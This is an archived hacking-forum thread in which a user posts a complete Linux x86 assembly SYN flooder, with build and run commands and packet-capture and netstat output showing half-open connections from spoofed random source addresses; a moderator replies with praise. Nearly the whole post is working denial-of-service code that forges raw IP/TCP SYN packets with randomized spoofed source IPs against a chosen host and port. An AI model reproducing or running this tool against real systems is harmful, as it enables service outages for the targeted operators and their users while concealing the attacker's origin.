This forum is in archive mode. You will not be able to post new content.

Author Topic: [GAS/x86-linux] SYN flooder  (Read 5180 times)

0 Members and 1 Guest are viewing this topic.

Offline xzid

  • Knight
  • **
  • Posts: 329
  • Cookies: 41
    • View Profile
[GAS/x86-linux] SYN flooder
« on: October 18, 2011, 08:18:51 AM »
I got bored and felt like coding assembly, so I converted an old C program into GAS.

example usage:

Code: [Select]
$ # assemble/link
$ as -o syn.o syn.s; cc -o syn syn.o
$ # send 25 packets, one each 100ms, to localhost:22
$ sudo ./syn -h localhost -p 22 -a 25 -t 100
sending 25 packets to localhost:22 [t = 100] ...

A quick sniff to confirm:

Code: [Select]
# tcpdump -i lo -vv port 22
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
01:54:41.308053 IP (tos 0x0, ttl 255, id 21845, offset 0, flags [none], proto TCP (6), length 40)
    168.105.138.139.35333 > localhost.localdomain.ssh: Flags [S], cksum 0x80b5 (correct), seq 1391369773, win 512, length 0
01:54:41.408665 IP (tos 0x0, ttl 255, id 33339, offset 0, flags [none], proto TCP (6), length 40)
    113.122.23.228.41767 > localhost.localdomain.ssh: Flags [S], cksum 0x0db3 (correct), seq 2992587315, win 512, length 0

..... More packets .....

01:54:41.910509 IP (tos 0x0, ttl 255, id 52534, offset 0, flags [none], proto TCP (6), length 40)
    229.96.66.241.36189 > localhost.localdomain.ssh: Flags [S], cksum 0x0e3d (correct), seq 1487671859, win 512, length 0
01:54:41.910610 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860, win 32792, options [mss 16396], length 0
01:54:45.097992 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860,
01:54:51.098002 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    localhost.localdomain.ssh > 229.96.66.241.36189: Flags [S.], cksum 0x1698 (correct), seq 2703853117, ack 1487671860, win 32792, options [mss 16396], length 0
01:54:52.297990 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 44)
    localhost.localdomain.ssh > 226.203.234.192.59001: Flags [S.], cksum 0x40f6 (correct), seq 2713404056, ack 1192115760, win 32792, options [mss 16396], length 0

.... etc ....

Notice that the server is trying to contact spoofed ip "229.96.66.241".

Here's another view from netstat:

Code: [Select]
$ netstat -aut | grep -i syn
tcp        0      0 localhost.localdomain:ssh   226.37.232.197:58758        SYN_RECV   
tcp        0      0 localhost.localdomain:ssh   227.122.91.215:14820        SYN_RECV   
tcp        0      0 localhost.localdomain:ssh   238.28.197.255:63910        SYN_RECV   
tcp        0      0 localhost.localdomain:ssh   224.18.42.135:50193         SYN_RECV

syn.s:
Code: [Select]
#; Linux-x86 GAS SYN flooder -xz
#; $ as -o syn.o syn.s; cc -o syn syn.o
#; USE:
#;   ./syn -h <hostname> -p <port> [-a <amount>=10] [-t <tick>=10]

.equ NULL,              0
.equ ERR,               -1

#; <bits/socket.h>
.equ SOCK_RAW,          3
.equ PF_INET,           2

#; <netinet/in.h>
.equ IPPROTO_TCP,       6
.equ IPPROTO_RAW,       255

.section .data

packet:
#;#;#

ip:
#;#
                .byte   0x45            #; version = 4, iph = 5
                .byte   0               #; tos, ecn
ip_tot_len:     .short  packet_len      #; total length
ip_id:          .short  0               #; id
                .short  0               #; flags, fragmentation offset
                .byte   0xff            #; ttl
                .byte   IPPROTO_TCP     #; protocol
ip_csum:        .short  0               #; ip checksum
ip_saddr:       .long   0               #; source ip
ip_daddr:       .long   0               #; destination ip
#;#
ip_len =        . - ip

tcp:
#;#
tcp_sport:      .short  0               #; source port
tcp_dport:      .short  0               #; destination port
tcp_seq:        .long   0               #; sequence number
                .long   0               #; acknowledgement number
                .byte   0x50            #; data offset/reserved/NS bit
                .byte   0x02            #; flags, SYN bit set
                .short  2               #; window size, htons(512) == 2 ??
tcp_csum:       .short  0               #; tcp checksum
                .short  0               #; urgent pointer
#;#
tcp_len =       . - tcp

#;#;#
packet_len =    . - packet

tcp_pseudohdr:
#;#
ph_saddr:       .long   0               #; source ip
ph_daddr:       .long   0               #; destination ip
                .byte   0               #; reserved
ph_proto:       .byte   IPPROTO_TCP     #; protocol
                .short  5120            #; tcp length
ph_tcphdr:                              #; memcpy tcp header here
                .rept   tcp_len
                .byte 0
                .endr
#;#
ph_len =        . - tcp_pseudohdr

sockaddr_len =  16
sockaddr_in:
                .short PF_INET          #; sin_family
sin_port:       .short 0
sin_addr:       .long 0
                .quad 0                 #; pad to sizeof(struct sockaddr)

#;#

fd:             .long 0                 #; for raw socket

tick:           .long 10                #; milliseconds between packets
amount:         .long 10
hostname:       .long 0
dip:            .long 0
port:           .long 0
dport:          .short 0

.section .rodata

getopt_str:             .asciz "h:p:a:t:"
str_gethostbyname:      .asciz "gethostbyname"
str_socket:             .asciz "socket"
str_sendto:             .asciz "sendto"
str_usleep:             .asciz "usleep"
helpmsg:        .asciz "USE:\n  %s -h <hostname> -p <port> [-a <amount>=10] [-t <tick>=10]\n"
info_start:             .asciz "sending %d packets to %s:%d [t = %d] ...\n"
err_notroot:            .asciz "error: You must be root to use raw sockets"

.section .text

.globl main
.globl csum
.globl hostlookup
.globl msleep

.type main, @function
.type csum, @function
.type hostlookup, @function
.type msleep, @function

main:
        push    %ebp
        mov     %esp, %ebp
        push    %edi
        push    %ebx

        .L_getopt_1:
        push    $getopt_str
        push    12(%ebp)
        push    8(%ebp)
        call    getopt
        add     $12, %esp
        mov     %eax, %ebx
        cmp     $ERR, %ebx
        je      .L_getopt_2
        cmp     $0x68, %ebx     #; 'h'
        je      .L_getopt_hostname
        mov     $port, %edi
        cmp     $0x70, %ebx     #; 'p'
        je      .L_getopt_atoi
        mov     $amount, %edi
        cmp     $0x61, %ebx     #; 'a'
        je      .L_getopt_atoi
        mov     $tick, %edi
        cmp     $0x74, %ebx     #; 't'
        je      .L_getopt_atoi
        jmp     .L_getopt_1
        .L_getopt_hostname:
        mov     optarg, %eax
        mov     %eax, hostname
        jmp     .L_getopt_1
        .L_getopt_atoi:
        push    optarg
        call    atoi
        add     $4, %esp
        mov     %eax, (%edi)
        jmp     .L_getopt_1
        .L_getopt_2:

        mov     hostname, %eax
        cmp     $NULL, %eax
        mov     port, %eax
        cmp     $NULL, %eax
        je      .L_help_1
        jmp     .L_help_2
        .L_help_1:
        mov     12(%ebp), %eax
        mov     (%eax), %eax
        push    %eax
        push    $helpmsg
        call    printf
        add     $8, %esp
        mov     $1, %eax
        jmp     .L_main_return
        .L_help_2:

        call    getuid
        cmp     $0, %eax
        jne     .L_main_return_notroot

        push    hostname
        call    hostlookup
        add     $4, %esp
        mov     %eax, dip
        mov     $str_gethostbyname, %edi
        cmp     $0, %eax
        je      .L_main_return_herror

        push    port
        call    htons
        add     $4, %esp
        mov     %eax, dport

        push    $IPPROTO_RAW
        push    $SOCK_RAW
        push    $PF_INET
        call    socket
        add     $12, %esp
        mov     $str_socket, %edi
        cmp     $ERR, %eax
        je      .L_main_return_perror
        mov     %eax, fd

        push    tick
        push    port
        push    hostname
        push    amount
        push    $info_start
        call    printf
        add     $20, %esp

        mov     dport, %eax
        mov     %ax, sin_port
        mov     %ax, tcp_dport
        mov     dip, %eax
        mov     %eax, sin_addr
        mov     %eax, ip_daddr
        mov     %eax, ph_daddr

        push    $NULL
        call    time
        add     $4, %esp
        push    %eax
        call    srand
        add     $4, %esp

        #; rand() / usleep() seem to trash %ecx
        push    $0
        jmp     .L_main_loop_cond
        .L_main_loop:
        incl    (%esp)
        call    send_packet
        mov     $str_sendto, %edi
        cmp     $ERR, %eax
        je      .L_main_return_perror
        push    tick
        call    msleep
        add     $4, %esp
        mov     $str_usleep, %edi
        cmp     $ERR, %eax
        je      .L_main_return_perror
        .L_main_loop_cond:
        mov     (%esp), %ecx
        cmp     amount, %ecx
        jl      .L_main_loop
        add     $4, %esp

        push    fd
        call    close
        add     $4, %esp

        xor     %eax, %eax
        jmp     .L_main_return
        .L_main_return_notroot:
        push    $err_notroot
        call    puts
        add     $4, %esp
        jmp     .L_main_return_fail
        .L_main_return_herror:
        push    %edi
        call    herror
        add     $4, %esp
        jmp     .L_main_return_fail
        .L_main_return_perror:
        push    %edi
        call    perror
        add     $4, %esp
        .L_main_return_fail:
        mov     $1, %eax
        .L_main_return:
        pop     %ebx
        pop     %edi
        mov     %ebp, %esp
        pop     %ebp
        ret
       

#; send an SYN packet
send_packet:
        push    %ebp
        mov     %esp, %ebp
        push    %ecx
        call    rand
        mov     %ax, ip_id
        call    rand
        not     %eax
        mov     %eax, ip_saddr
        mov     %eax, ph_saddr
        call    rand
        mov     %eax, tcp_seq
        call    rand
        mov     %ax, tcp_sport
        movw    $0, tcp_csum
        push    $tcp_len
        push    $tcp
        push    $ph_tcphdr
        call    memcpy
        add     $12, %esp
        push    $ip_len
        push    $ip
        call    csum
        add     $8, %esp
        mov     %ax, ip_csum
        push    $ph_len
        push    $tcp_pseudohdr
        call    csum
        add     $8, %esp
        mov     %ax, tcp_csum
        push    $sockaddr_len
        push    $sockaddr_in
        push    $0
        push    $packet_len
        push    $packet
        push    fd
        call    sendto
        add     $24, %esp
        pop     %ecx
        pop     %ebp
        ret

#; convert hostname to ip in network format
hostlookup:
        push    %ebp
        mov     %esp, %ebp
        sub     $40, %esp
        mov     8(%ebp), %eax
        mov     %eax, (%esp)
        call    gethostbyname
        cmp     $0,%eax
        je      .L_hostlookup_1
        mov     16(%eax),%eax
        mov     (%eax),%eax
        mov     (%eax),%eax
        .L_hostlookup_1:
        mov     %ebp, %esp
        pop     %ebp
        ret

#; sleep for milliseconds
#; sleep -- too slow, usleep -- too quick, msleep -- just right
msleep:
        push    %ebp
        mov     %esp, %ebp
        mov     8(%ebp), %eax
        imul    $1000, %eax
        push    %eax
        call    usleep
        add     $4, %esp
        pop     %ebp
        ret

#; ip/tcp checksum function
csum:
        push    %ebp
        mov     %esp, %ebp
        push    %ebx
        xor     %eax, %eax
        jmp     .L_csum_cond
        .L_csum_loop:
        mov     8(%ebp), %ebx
        mov     (%ebx), %ebx
        movzwl  %bx, %ebx
        add     %ebx, %eax
        add     $2, 8(%ebp)
        sub     $2, 12(%ebp)
        .L_csum_cond:
        cmp     $1, 12(%ebp)
        ja      .L_csum_loop
        mov     %eax, %ebx
        shr     $16, %ebx
        and     $0xffff, %eax
        add     %ebx, %eax
        mov     %eax, %ebx
        shr     $16, %ebx
        add     %ebx, %eax
        not     %eax
        pop     %ebx
        pop     %ebp
        ret

edit: code fixing
« Last Edit: October 18, 2011, 10:02:48 PM by xzid »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [GAS/x86-linux] SYN flooder
« Reply #1 on: October 18, 2011, 09:32:53 AM »
lol. You should get bored more. Seems that you write cool stuff whenever you are bored :D
+1

 



Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.